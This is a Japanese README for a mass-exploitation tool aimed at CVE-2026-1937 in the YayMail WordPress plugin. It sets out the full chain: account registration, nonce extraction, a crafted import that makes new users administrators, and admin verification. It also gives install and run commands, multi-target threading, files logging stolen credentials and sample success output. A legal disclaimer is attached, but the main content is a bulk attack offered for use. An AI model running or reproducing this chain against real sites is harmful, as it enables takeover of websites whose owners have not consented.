
YayMail <= 4.3.2 - 'yaymail_import_state' AJAXアクションを介した認証済み(ショップマネージャー+)任意オプション更新の認可欠如
説明:
WordPress 用プラグイン YayMail – WooCommerce Email Customizer は、4.3.2 までの全バージョンにおいて、権限昇格につながる不正なデータ変更に対して脆弱です。yaymail_import_state AJAX アクションはサーバーサイドの権限チェックなしで登録されているため、ショップマネージャーレベル以上のアクセス権を持つ認証済み攻撃者は、このアクションを自由に呼び出すことができます。細工された ZIP インポートファイルをアップロードすることで、攻撃者は WordPress サイトの任意のオプションを密かに上書きでき、新しいユーザーのデフォルト登録ロールを administrator に設定したり、一般ユーザーの登録を有効化したりすることができます。これらのオプションが注入されると、訪問者は誰でもサイトに自己登録して完全な WordPress 管理者アカウントを取得でき、サイト全体が完全に侵害されます。
これは、脆弱なバージョンの YayMail プラグインを実行している WordPress + WooCommerce 環境を標的とした、概念実証 (PoC) の大規模悪用チェーンです。このツールは、WooCommerce 登録 → ログイン → YayMail nonce 抽出 → yaymail_import_state エクスプロイト → 管理者検証という、エンドツーエンドの完全な攻撃を実装しています。
[Phase 1 — Registration]
GET /my-account/ → Extract WooCommerce register nonce
POST /my-account/ → Register new account (WooCommerce form)
→ Save credentials to reg.txt
↓
[Phase 2 — Login]
POST /wp-login.php → Try WordPress native login
POST /my-account/ (WooC.) → Fallback WooCommerce login
→ Establish authenticated session
↓
[Phase 3 — Admin Pre-check]
GET /wp-admin/ → If already admin, skip to result
↓
[Phase 4 — YayMail Exploit]
GET /wp-admin/admin.php?page=yaymail-settings
→ Extract: ajax_url + nonce
POST /wp-admin/admin-ajax.php
action=yaymail_import_state
nonce=<extracted_nonce>
import_file=yaymail_backup.zip
→ Override WordPress options:
· default_role = administrator
· users_can_register = 1
↓
[Phase 5 — Admin Verification]
GET /wp-admin/ → Check adminmenu / wp-admin-bar
GET /wp-admin/users.php → Confirm manage_options access
↓
[Save to Nx_admin.txt]
Format: [timestamp] https://target.com user:<u> pass:<p>
yaymail_backup.zip — 細工されたインポートペイロード (必須)pip install requests urllib3 rich
または requirements ファイルを使用:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-1937.git
cd CVE-2026-1937
# Install dependencies
pip install -r requirements.txt
# Place your crafted import payload in the same directory
cp /path/to/yaymail_backup.zip .
# Run the tool
python3 CVE-2026-1937.py
python3 CVE-2026-1937.py
このツールは、Rich を採用した完全対話型のターミナルインターフェースを使用します。
プレーンテキストファイル (デフォルト: list.txt) を作成し、1行に1つのターゲットを指定します:
https://target1.com
https://target2.com
http://target3.com
target4.com
http://またはhttps://がないターゲットには、自動的にhttps://が先頭に付加されます。
Username [Nx_admin]: Nx_admin
Password [Nx_adminSA]: Nx_adminSA
Email [[email protected]]: [email protected]
Targets file [list.txt]: list.txt
Threads [3]: 5
HTTP timeout (seconds) [10]: 10
yaymail_backup.zipこのエクスプロイトには、インポート時に以下の WordPress オプションを上書きする、細工された YayMail インポート ZIP ファイルが必要です:
| WordPress オプション | 注入される値 |
|---|---|
default_role | administrator |
users_can_register | 1 |
⚠️ 作業ディレクトリに
yaymail_backup.zipが存在しない場合、ツールは実行を拒否します。
POST /wp-admin/admin-ajax.php
action=yaymail_import_state
nonce=<extracted_from_yaymail_settings_page>
import_file=yaymail_backup.zip (multipart upload)
根本原因:
yaymail_import_state ハンドラーは、インポートを処理する前に current_user_can() や同等の権限チェックを呼び出しません。shop_manager ロール (またはそれ以上) を持つユーザーは、このアクションを自由に呼び出し、ZIP インポート機能を介して wp_options テーブルの任意のエントリを上書きできます。
このツールは、登録フォームとログインフォームを探すために以下のパスを自動的にスキャンします:
/my-account/ /my_account/ /My-account/
/account/ /myaccount/ /customer-login/
/login/ /register/ /sss/
| ファイル | 説明 |
|---|---|
reg.txt | 認証情報を含む、成功したすべての WooCommerce 登録 |
Nx_admin.txt | 確認されたすべての管理者権限昇格 |
reg.txt:
[2026-03-01 14:22:10] https://target.com user:Nx_admin email:[email protected] pass:Nx_adminSA
Nx_admin.txt:
[2026-03-01 14:22:18] https://target.com user:Nx_admin pass:Nx_adminSA | yaymail import
╔══════════════════════════════════════════════════════════════════╗
║ WooCommerce · YayMail · Mass Exploit Chain ║
║ By: Nxploited | GitHub: github.com/Nxploited | @Kxploit ║
╚══════════════════════════════════════════════════════════════════╝
[SCAN] https://target.com
[REGISTERED] https://target.com :: user: Nx_admin pass: Nx_adminSA
[LOGIN-WP] https://target.com :: wp-login.php
[SEARCH-NONCE] https://target.com :: not admin, trying YayMail chain
[NONCE-FOUND] https://target.com :: nonce: a1b2c3d4e5
[EXPLOIT] https://target.com :: nonce: a1b2c3d4e5
[SUCCESS] https://target.com :: user: Nx_admin pass: Nx_adminSA
┌──────────────────────────────────────���───────────────────────────────────┐
│ Target │ Status │ Credentials / Note │
├──────────────────────────────────────────────────────────────────────────┤
│ https://target.com │ ✅ EXPLOITED (ADMIN VERIFIED) │ user: Nx_admin … │
│ https://target2.com │ NO-REGISTER │ │
│ https://target3.com │ DEAD │ │
└──────────────────────────────────────────────────────────────────────────┘
作者: Nxploited (Khaled Alenazi)
このツールは、教育目的および許可を得たセキュリティ研究のみを目的として提供されています。
著者 Nxploited (Khaled Alenazi) および本プロジェクトのすべての貢献者は、明示的な書面による許可を得ていないシステムに対する本ツールの悪用、または本ソフトウェアの使用によって生じたいかなる損害についても、容認せず、支持せず、一切の責任を負いません。
- ✅ 許可される使用: 所有するシステム、または明示的な書面による許可を得てテストが許可されたシステムへの使用。
- ❌ 禁止される使用: システム所有者から事前の明示的な書面による許可を得ていない、いかなるシステムへの使用も禁止。
コンピュータシステムへの不正アクセスは違法であり、適用される法律に基づき処罰の対象となります。 これには、Computer Fraud and Abuse Act (CFAA)、Computer Misuse Act (CMA)、および世界各国の同等の法律が含まれますが、これらに限定されません。
このツールを使用することにより、あなたは自身の行動に対して単独かつ完全な責任を負うことに同意し、対象システムをテストする法的権限を有していることを確認したものとみなされます。
著者は、本ソフトウェアの使用または誤用から生じる直接的、間接的、付随的、または結果的な損害について、一切の責任を負いません。
© 2026 Nxploited (Khaled Alenazi) — 許可を得たセキュリティ研究のみを対象としています。
| 項目 | 詳細 |
|---|
| CVE ID | CVE-2026-1937 |
| 重大度 | HIGH — CVSS v3.1 スコア: 7.2 |
| ベクター | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| 研究者 | Daniel Basta (whizzu) — NASK PIB |
| 公開日 | 2026年2月17日 |
| 最終更新日 | 2026年3月27日 |
| 影響を受けるソフトウェア | YayMail – WooCommerce Email Customizer Plugin for WordPress |
| 影響を受けるバージョン | 4.3.2 までの全バージョン |
| 脆弱性の種類 | 認可の欠如 → 不正な任意オプション更新 → 権限昇格 |
| 認証要件 | あり — ショップマネージャー 以上 |
| CWE | CWE-862: 認可の欠如 |
| ステータス | 色 | 意味 |
|---|
EXPLOITED (ADMIN VERIFIED) | 🟢 緑 | チェーン全体が成功 — 管理者を確認済み |
EXPLOITED (ADMIN) | 🟢 緑 | 登録ユーザーがすでに管理者だった |
PARTIAL | 🟡 黄 | YayMail インポートは成功したが管理者アクセスは未確認 |
REGISTERED | 🟡 黄 | WooCommerce 登録が成功 |
LOGIN-WP | 🔵 シアン | /wp-login.php 経由でログイン成功 |
LOGIN-WOO | 🔵 シアン | WooCommerce フォーム経由でログイン成功 |
NONCE-FOUND | 🟣 マゼンタ | YayMail nonce の抽出に成功 |
NO-REGISTER | ⚫ 黒 | WooCommerce 登録フォームが見つからない |
LOGIN-FAILED | ⚫ 黒 | 認証済みセッションを確立できなかった |
NONCE-NOT-FOUND | ⚫ 黒 | YayMail 設定ページにアクセスできない、または nonce が見つからない |
EXPLOIT-FAILED | 🔴 赤 | yaymail_import_state 呼び出しが成功を返さなかった |
TIMEOUT | ⚫ 黒 | HTTP タイムアウト |
DEAD | ⚫ 黒 | 接続拒否 / 到達不能 |
ERROR | 🔴 赤 | 予期しない例外 |